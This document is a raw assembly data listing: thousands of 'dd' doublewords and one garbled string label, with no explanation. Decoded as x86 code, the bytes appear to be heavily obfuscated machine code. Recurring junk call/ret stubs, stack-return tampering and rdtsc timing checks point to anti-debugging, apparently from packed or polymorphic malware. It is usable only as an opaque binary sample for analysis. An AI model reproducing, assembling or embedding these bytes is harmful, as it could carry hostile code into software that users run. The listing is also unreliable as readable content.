		dd 938CC07h, 0B88689F8h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 6149C350h
		dd 503990BEh, 0BE8h, 23096600h,	0F34B2C8Eh, 0DEC54061h
		dd 2DC18589h, 8B5B0935h, 350CA59Dh, 0E9006A09h,	9, 0DCB67081h
		dd 98A1E04Fh, 6FB5FFE6h, 6A0938B7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0D1D3C352h
		dd 0FFC84554h, 35115195h, 0DFB70F09h, 24348950h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 52C35747h, 0DBB575F6h
		dd 89FB96EDh, 351AC1BDh, 6FB5FF09h, 6A0938B7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 89E0C350h, 3524619Dh, 5595FF09h, 8909350Bh, 353201BDh
		dd 79BD8309h, 93500h, 2F840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 84744DC3h
		dd 758875EBh, 50DFB70Fh, 0A86EBF66h, 8B243489h,	6FB5FFD8h
		dd 6A0938B7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 727CC350h, 0EEC7719Ah,	0BF316313h
		dd 71F43F11h, 1C3595FFh, 8B0F0935h, 4, 83A7BB66h, 0B76FB5FFh
		dd 6A0938h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 2D774FC3h, 894D94F0h, 352EC18Dh, 0E595FF09h
		dd 6A09352Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0DB2BC353h, 5E9504Bh, 5D000000h
		dd 0FFCE8C56h, 26BDBD83h, 0F020935h, 4384h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 246434DEh, 0E980E9FCh, 0Ch, 8217A159h, 0AE520D2Dh, 0B4A38119h
		dd 26AD858Bh, 0C6F80935h, 0D98B0000h, 0CDABB66h, 326585C7h
		dd 935h, 0F5600000h, 121B58Bh, 0E9610935h, 0FFFFF3A0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 22C35141h
		dd 8BD39EB6h, 35305D9Dh, 0BBC18B09h, 221AA042h,	2659858Dh
		dd 53900935h, 5B525250h, 5F56310Fh, 505F585Ah, 0CD1E3EBFh
		dd 10E9906Bh, 22000000h, 36B51EDEh, 2CC23F38h, 3E8DD63Fh
		dd 6A11B155h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 9AA37FB0h, 21D5BD8Bh, 6A0935h, 6D81858Dh
		dd 0BD330939h, 9350B75h, 2905C083h, 35001595h, 0ADB35009h
		dd 81240489h, 1839AC3h,	66006A13h, 9D8BFA8Bh, 9353305h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 99A1AC3h,	6823E32Fh, 68D0Fh, 9D8B0000h, 9352E89h
		dd 33195FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0EA1C7DC3h, 9D8B189Ch, 9350F91h
		dd 9AAB8D8Dh, 9D290938h, 935110Dh, 6AD1FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A7BFE5C3h
		dd 0EA18C70Bh, 83D61F80h, 351C19BDh, 850F0109h,	5Fh, 437DBB66h
		dd 9AC78166h, 0F5026A6Ah, 0DA8B6650h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 3EE7C353h, 95FFFA0Fh, 9351151h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0C4C35242h,	5A880FDh, 0C18D31FCh
		dd 0E9093512h, 0E81h, 0E8h, 0ED815D00h,	9396D8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 75C35545h, 81C1AFA0h
		dd 0D99D89BBh, 60093511h, 221D9589h, 8D610935h,	38932B85h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8BB0F550h, 352735BDh, 0DE8B5009h, 51240489h
		dd 32158589h, 645B0935h, 35FFh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E8C81DC3h
		dd 0Bh,	0F60FEAC1h, 0D695ED08h,	0FDA74DBh, 645FD9BFh, 2589h
		dd 0FE8B0000h, 300985FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0FF6A2CC3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 65C35545h, 8CB0A6F6h
		dd 0E1BD3360h, 0FF093522h, 351BBDB5h, 51006A09h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0E7201F7Ah, 0CC41F32Bh, 0B995FF4Ah, 0E909352Eh, 179h
		dd 0AE9h, 0BFD47900h, 7CA0AC1Ch, 0B0372C1Ah, 198D8900h
		dd 0E6093500h, 7D858970h, 0E409351Dh, 69B58971h, 3C093505h
		dd 4A830F61h, 52000001h, 1BE99D89h, 0F5B0935h, 8A60C8B6h
		dd 799D8BEBh, 6109352Bh, 6BAh, 0CDBD8B00h, 8909350Bh, 350B51B5h
		dd 0E9C18B09h, 7, 78121731h, 0C153D732h, 0E95104E8h, 5
		dd 0D690B5A8h, 0F7665FE8h, 13E9E2h, 5D80000h, 0B4955BACh
		dd 51B3C2C4h, 8986050Ah, 0B7CA755Dh, 89C82B26h,	350C8585h
		dd 66D18B09h, 9006E781h, 9E9h, 3870F00h, 0F000000h, 858BFBBFh
		dd 935106Dh, 33DBD8Bh, 0C0830935h, 0E5BD8B07h, 83093524h
		dd 5E800C0h, 0CB000000h, 12BE5334h, 17ADBD2Bh, 605F0935h
		dd 2BDD8529h, 66600935h, 0E0B3D08Bh, 0D03B6161h, 0D830Fh
		dd 0D98B0000h, 88E9h, 499D8B00h, 8B09350Fh, 3512218Dh
		dd 9E809h, 0E8C10000h, 57C6E3A4h, 8B1307F9h, 3531A9BDh
		dd 0E1835F09h, 5E840F01h, 66000000h, 0B21DF781h, 1221A583h
		dd 0E8FE0935h, 0Fh, 193DA073h, 0FCB51C76h, 371DF288h, 0E92C3F02h
		dd 12h,	54646474h, 0EA1002EEh, 85781BC8h, 3447457Dh, 605FD4FFh
		dd 0D359589h, 0E38A0935h, 6D958961h, 0F093510h,	0B8Bh
		dd 58E0F00h, 66000000h,	86F2D381h, 0E9h, 0ADB58D00h, 6A0938F3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 1B19C352h, 6A5BB3BBh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 95FF1ABEh
		dd 9350829h, 0EE8h, 236B1000h, 643C63B0h, 57F1A8ACh, 5F25907Ah
		dd 845B9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0C7E6A2Fh, 0AC5C97A4h, 0FCE183E0h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 36C35040h
		dd 25558589h, 66FC0935h, 0C02BFE8Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0AAC35141h,	4DD4D7ADh, 0D22BFA8Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 3DC35040h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 8599529h,	6A0935h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8E997C3h, 8D000000h,	8F06F149h, 8966E803h, 35045985h
		dd 880D09h, 11E80000h, 56000000h, 0BC5DA64Dh, 6CB2A909h
		dd 0E04DC077h, 256C08BFh
		dd 0EF9BD8Bh, 8B5B0935h, 35162995h, 259D0909h, 8B09351Bh
		dd 35287D8Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0FD411276h, 0F381A6FBh, 62482C4h
		dd 1C11BD8Bh, 8B500935h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0DA1BD29h, 0BD830935h, 9351249h, 45840F00h
		dd 89000000h, 3528E18Dh, 0B809h, 0BD290000h, 9352651h
		dd 4C028D8Dh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0DC6A45C3h, 9D31B323h, 93504B9h
		dd 535EEEBBh, 0F5E1FF44h, 2255BD83h, 0F000935h,	48684h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 3ADDD55Bh, 0F1E07FF7h, 55BD831Fh, 1093522h
		dd 470840Fh, 9D890000h,	93516BDh, 2255BD83h, 0F030935h
		dd 42786h, 13E900h, 83F0000h, 8F91F7ECh, 0CADC83E4h, 0BCAB1468h
		dd 0BF1DEA5Fh, 6A60AFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 216D9FC3h, 497EF191h, 9D8B990Ch
		dd 93528F5h, 6AD98C66h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 580BC355h, 0FCA17D09h
		dd 0E904E180h, 13h, 4FC20815h, 4F80BA76h, 0B4DCD44h, 12BD91B5h
		dd 0A674C16h, 35840FC9h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 364AC353h
		dd 202EC8A7h, 66463F1Ch, 8B1F29BBh, 352B6185h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 55C34485h, 0BDBFBEA4h, 33405169h, 350D7D85h,	50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 66931CD4h, 0E4FCD381h, 0FE850h, 41AE0000h, 0FF21241h
		dd 0F71D320Eh, 8513B8B8h, 0FB8B6666h, 2404895Fh, 2591BD8Bh
		dd 6A0935h, 8610BF66h, 9AB84B68h, 0C6BF6610h, 2434815Ah
		dd 1085BBB4h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	0E7C35646h, 0DB99C63Dh,	0CDD95FFh, 6E80935h, 10000000h
		dd 733075A3h, 0FE9E6h, 0D5900000h, 0F3A47804h, 4C5D76E8h
		dd 5BC714F4h, 85895B26h, 938B76Fh, 0A7E1BB66h, 1E0E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 74EC17BBh, 3D3D9C25h, 0B5294154h, 93502F1h
		dd 0B767858Bh, 8E90938h, 0F3000000h, 3BFA6BF9h,	9C8D35Fh
		dd 35029595h, 1800C709h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 4ACCC350h
		dd 0D33E63AAh, 7E9h, 0E99C9100h, 1E5DE860h, 0B76BB58Bh
		dd 858B0938h, 93524D5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 57C35343h, 0F4805964h, 6FBFDD38h, 0E90689DEh
		dd 0Dh,	5E2C53E2h, 6734CFD2h, 5D655C1Eh, 5FF856F9h, 2B61858Bh
		dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0CAE560C3h, 89FA8B66h, 6A0446h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 22884CC3h
		dd 525096CDh, 28C0Fh, 5F500000h, 5250310Fh, 0FF98B66h
		dd 0CE931h, 0B7F90000h,	0EEA9FD0Fh, 52CFE07Dh, 585A1FE8h
		dd 6650585Ah, 6A96DE8Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0F960C350h,	0B767B5FFh
		dd 0F3800938h, 0ADBD89E8h, 68093531h, 0C5F31DC6h, 81F88B66h
		dd 0E6392404h, 8DF93A2Bh, 38B76F85h, 6840F09h, 29000000h
		dd 3522DD9Dh, 8B0F9009h, 4, 5FFA8B57h, 60525050h, 61605A56h
		dd 50310F61h, 0F5B5252h, 5AFB8B31h, 90585A58h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 58C35141h, 8BF93142h
		dd 0DD95FFFAh, 0F09350Ch, 682h,	898D2900h, 81093516h, 2E2816E7h
		dd 6A615Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B71547C3h, 1F65B65Bh, 16E9BD8Bh,	85C70935h
		dd 9352255h, 3,	8BDED780h, 353269BDh, 6FBD8309h, 938B7h
		dd 6A840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0E95657C3h, 0Bh,	0BBE0A30h, 0E3F14CCh
		dd 5F4D19E2h, 52E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 3C49CECEh, 0C514020Ah
		dd 0FD858B60h, 31093523h, 3503718Dh, 9D8B6109h,	93523B5h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0A0DAC351h, 51006A5Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0B860D992h
		dd 77D699EBh, 523BE381h, 10E87ABAh, 0F1000000h,	8735290h
		dd 37A974C0h, 43DFCD6Eh, 5F6AD111h, 2255BD83h, 0F030935h
		dd 42F85h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 3250C9BBh, 29D5B529h, 83F50935h
		dd 38B76FBDh, 840F0009h, 3FCh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 2CC35545h, 9C162273h, 14E9h
		dd 7C26C800h, 5C64ACA0h, 0DFB9962Bh, 55BE4C9Fh,	0C0392031h
		dd 818D897Fh, 0FF09350Dh, 38B76FB5h, 6860F09h, 8B000000h
		dd 352FA59Dh, 1195FF09h, 6609352Eh, 0B58BD98Bh,	938B763h
		dd 106C7F9h, 50000100h,	7E9h, 92163000h, 0C2979A10h, 0DABF0F5Fh
		dd 10E896h, 4BFA0000h, 9AFB91h,	0FF921F1Ch, 1C3AE0E2h
		dd 0E9517719h, 12h, 7996EB4Fh, 9BF7A6C7h, 0FD0041DFh, 2CD84F64h
		dd 5B5FE06Dh, 0F88B6650h, 61952996h, 0FF093532h, 38B76FB5h
		dd 8995FF09h, 6A093502h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0C364C353h,	1EA9BD8Bh
		dd 0B58B0935h, 938B763h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 62C35646h, 6A5C556Bh,	9BE9D90Dh, 699D8999h
		dd 89093511h, 3523D595h, 99858B09h, 909350Eh, 35249DB5h
		dd 0C4868909h, 2B000000h, 35330DBDh, 29958B09h,	8B093516h
		dd 35111D9Dh, 4C28309h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0F3C35141h, 0DF5BD89h, 0B70F0935h, 205089DAh
		dd 858D3BB7h, 938CC07h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 3AC35545h, 86894F8Ah,	0B8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 83C35747h, 6AEB48h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CDC35343h
		dd 600EB168h, 3319B589h, 8B610935h, 351179BDh, 6FB5FF09h
		dd 6A0938B7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 6BCC353h,	0CA6F6B6Ch, 0BD8B5719h,	9352779h
		dd 5195FF5Bh, 1093511h,	352C51B5h, 8C0F9609h, 6, 0FFBB6660h
		dd 605061E7h, 7E9h, 0A51B300h, 5D898605h, 5E95250h, 2E000000h
		dd 7E66C5D8h, 32BB310Fh, 5A21DCE4h, 0E8966158h,	12h, 78AFE186h
		dd 93FA93A9h, 0BFD2AE1Dh, 0F9B5030Ah, 0BD8BBA95h, 9351B95h
		dd 6FB5FF5Bh, 0F50938B7h, 0B5595FFh, 0B5890935h, 9350EBDh
		dd 0EE9h, 0C674F700h, 0FD14BAA2h, 1FB789D0h, 83299787h
		dd 350079BDh, 840F0009h, 3Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 51C35242h, 7E83DCFh, 0D000000h
		dd 3FEB2641h, 0F52F75Fh, 89h, 505B5B00h, 56243489h, 0B5FF5FF9h
		dd 938B76Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	2EC35242h, 0FE99747h, 95FFF9BFh, 9351C35h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 6CC35343h, 833A0180h
		dd 0D9D8BDAh, 0F093506h, 38Bh, 0FA8B6600h, 0B76FB5FFh
		dd 0F88A0938h, 2CE595FFh, 0BB660935h, 0BD83D151h, 93526BDh
		dd 72840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 241C356h, 858B70D9h
		dd 93526ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0A6C35141h, 69CD28FAh, 6EC261A5h, 8DC78166h, 0C65Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 68C35343h
		dd 5FE02D27h, 6585C7EEh, 93532h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 6D88C357h
		dd 3656A724h, 0D6530C9Bh, 898FBF66h, 0FFF2C1E9h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0D647B7A1h, 0BF0F20E5h, 25BB66DBh, 10E937h, 0B5F40000h
		dd 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h, 0C18BB0BCh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 11C35545h, 0F1E185Bh
		dd 7E9DAh, 0C5950000h, 1E43B6D1h, 59858D40h, 6A093526h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 8F82C350h, 10FCDD4Fh, 27F19D29h, 57900935h
		dd 61605250h, 880F310Fh, 0
aZx_pfGxrj	db 'ZX_Pf©g∙░j',0
		db 55h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 419D8B21h, 6A093505h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 6666030Dh, 55B9DF81h
		dd 0B499D8Bh, 6A0935h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 37C35646h, 87C9BB68h,	85890C32h, 93522A1h
		dd 7E51858Dh, 6A0939h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0F8A24CC3h, 0CAE13B14h, 5C0837Bh
		dd 82EB8166h, 9D8B518Eh, 935242Dh, 0F6B7905Bh, 0E8525050h
		dd 6, 0FB531F63h, 0F88B262Ch, 8A310F5Fh, 90585AFEh, 0AE8h
		dd 0F7A0ED00h, 0BAE98665h, 661F0F09h, 5F3B2FBFh, 28D9D8Bh
		dd 6A0935h, 0C811C781h,	6AFC1A12h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0EB8147DEh
		dd 4619D8D6h, 33195FFh,	8D8D0935h, 9389AABh, 0AE9h, 4DC6A900h
		dd 337E1B96h, 0E9B39DFFh, 0Ch, 0F710E506h, 23410055h, 0C29E97C6h
		dd 0BF66D1FFh, 13E8817Fh, 7A000000h, 0AEDBA021h, 77F1C840h
		dd 0F670412Fh, 0BD21A1FBh, 835B9762h, 351C19BDh, 850F0109h
		dd 9Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
		dd 42C35545h, 0CA7D280Ah, 0FD9078Fh, 26ADEB7h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 55C35040h, 90B89FABh
		dd 9058F380h, 0BB665250h, 310F029Ah, 5050585Ah,	0F98B6652h
		dd 0DF8B310Fh, 0E990585Ah, 0Bh,	0F72CDADEh, 4CB0E651h
		dd 0FFCC9EF9h, 35115195h, 52006A09h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0BBDE89B9h
		dd 0E9AD1DE0h, 0E58h, 0E8h, 0ED815D00h,	9397E5Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F5C35545h, 386BC764h
		dd 8F0F701Ah, 1Bh, 0FE8h, 0DCBF9400h, 9D9195E6h, 47D5A5E5h
		dd 67529C84h, 5A18589h,	0F5B0935h, 858DD8BFh, 938932Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E6C35545h
		dd 0E8C9C318h, 3695CDFCh, 13BB90D8h, 50333B9Dh,	6A90DA8Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0D15FC351h, 0EED78166h, 0BD896083h, 9352FF1h
		dd 10E9h, 9B862700h, 0D945477Ch, 43ACADB1h, 7DF0ACCCh
		dd 0FF6461C2h, 35h, 0F3805300h,	89645FCFh, 25h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0CCB5EC86h, 0FD8D891Eh, 0E909352Ch, 7, 21EC921Ah, 0FF1F2C22h
		dd 35300985h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 7AEEBCCCh, 8D2191F1h, 2AB319CFh
		dd 6E9FF6Ah, 9A000000h,	0D8C3991Eh, 79B5FF40h, 3109352Ch
		dd 3526158Dh, 0B995FF09h, 0E909352Eh, 164h, 0F00B0F8h
		dd 883h, 880F5100h, 0
		dd 0AE85Fh, 0BD60000h, 0C74B524h, 0E7C6F35Ah, 58E0Fh, 0AABF0000h
		dd 5B78C068h, 0E4F870E6h, 57BB6671h, 0F613CA7h,	12783h
		dd 5BD0100h, 0F09351Ch,	8A0FC8B6h, 6, 0EA5BD8Bh, 0DE80935h
		dd 7B000000h, 0A507AB7Dh, 256367BFh, 0E0D91h, 2A7DBD89h
		dd 0BA5B0935h, 6, 800Fh, 0C18B0000h, 5699D29h, 0E8C10935h
		dd 0BD8B6004h, 9352FE1h, 0E2F76661h, 2BD88B66h,	318D01C8h
		dd 8B093516h, 0C0BF66D1h, 5E96038h, 49000000h, 0F4917A8Eh
		dd 1BE961h, 13E80000h, 0C1000000h, 7D7D2D72h, 3F21538Dh
		dd 96E4B475h, 0EB9BB32Ch, 0DF8BBAD2h, 61858B5Fh, 29093525h
		dd 35006D8Dh, 53DF8109h, 832CB7C3h, 0C08307C0h,	2DBD8B00h
		dd 3B093527h, 19830FD0h, 0F000000h, 890FF8BFh, 8, 5DBD3350h
		dd 5F093529h, 5FE9h, 0FA8B6600h, 0B218D8Bh, 9D030935h
		dd 9352E41h, 0F01E183h,	4784h, 9E800h, 0C3610000h, 0CFFDEDA0h
		dd 313C0489h, 351B1195h, 0A5835B09h, 9350B21h, 7E9FEh
		dd 0DBEB0000h, 1E22EB0Bh, 61958951h, 0E9093525h, 0Fh, 0FCADC123h
		dd 53A458C0h, 283C87EEh, 0E956B9AFh, 0
		dd 3DBB58Dh, 6A0939h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 93CD5AC3h, 72B7E69Eh, 0AE92873h
		dd 9D000000h, 52D4A61h,	0F67C1CAFh, 995896Fh, 6A09350Ch
		dd 399D8B00h, 0FF09351Ch, 35082995h, 619D2309h,	0B9093516h
		dd 898h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	99C35747h, 0BAC1860Dh, 6AFCE183h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 4469C352h
		dd 519D8B37h, 8A093510h, 0BD8BFCDAh, 9352D59h, 6AC02Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 2B8DC5C3h, 0CB65DAE1h, 50535FBBh, 5FFFB70Fh,	0BAh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 23EB028h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 76C35242h, 5B0BEBF2h
		dd 2F49B3BAh, 0CB8166A3h, 6A88B7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 89DF53C3h, 0FAC3B3F4h
		dd 880DF823h, 89000000h, 3511A19Dh, 29958B09h, 0E8093516h
		dd 13h,	348E9BE8h, 6584FE54h, 0C5E47935h, 1DCF310Ah, 5BF78A32h
		dd 287D8D8Bh, 0CE90935h, 0A6000000h, 0B973D957h, 170D90D2h
		dd 5098E5FEh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 0FB8B5158h, 18830F5Bh, 0E9000000h, 13h, 91A30C0Bh, 0D21D2F63h
		dd 0A238634Ch, 0BDA876Ch, 0FC09D2C8h, 1249BD83h, 0F000935h
		dd 0B484h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 31A3D53h,	0B935A505h, 8166ACFCh
		dd 0F9CE7D7h, 38Eh, 0DFB70F00h,	0B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0DFB64522h, 499D89B2h, 8D09350Ch, 354C028Dh,	50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 64AF9D83h, 0E5E9DBF1h, 0E1FF2009h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0EEC35040h,	8842B903h, 335F89C8h
		dd 35306D9Dh, 55BD8309h, 93522h, 48C840Fh, 860F0000h, 6
		dd 1E999589h, 0BD830935h, 9352255h, 8E840F01h, 8B000004h
		dd 3522A19Dh, 55BD8309h, 3093522h, 445860Fh, 860F0000h
		dd 8, 8E0F50h, 5F000000h, 8E9h,	5369F300h, 0F92FBF9Dh
		dd 6A606Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0D44374C3h, 0EAA99109h, 1B59BD0Bh, 8C660935h
		dd 0CFBF56D9h, 5F76529Bh, 6A04E180h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A9FFC351h
		dd 3A265E98h, 2C2D8589h, 0C90A0935h, 13E840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8B5B29C3h, 61858BFBh, 3309352Bh, 352FC99Dh, 7D853309h
		dd 6A09350Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 286FC355h, 88888268h, 5E8h, 0C2578900h
		dd 5EBFFC54h, 5B438156h, 19CF8166h, 830F50E1h, 10h, 0AE8h
		dd 0C1A5C00h, 0CD759E00h, 5F390474h, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0C538C355h, 0BE806h,	0C5700000h, 0C0A7BE8Eh,	0EF8CCD1Dh
		dd 1952992h, 5F093505h,	9E8006Ah, 7E000000h, 0E3224E06h
		dd 957EA564h, 2A96685Bh, 0BB663FE1h, 34814C48h,	0FE296924h
		dd 0FFFA8B3Fh, 350CDD95h, 55006A09h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 1A1648A8h
		dd 89DEBF0Fh, 35260DB5h, 6F858909h, 6A0938B7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0FA64C351h, 68D6105Eh, 61BB6690h, 200E98Bh, 85890000h
		dd 9350CB9h, 0B767858Bh, 6A0938h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 20AC9CC3h, 3AA1322Ah
		dd 2DB99D8Bh, 9E90935h,	0D9000000h, 0DA8C0252h,	0ECB0C6A2h
		dd 1800C7h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 150424h, 50400000h, 8B8E7FC3h, 3506C9BDh, 6BB58B09h
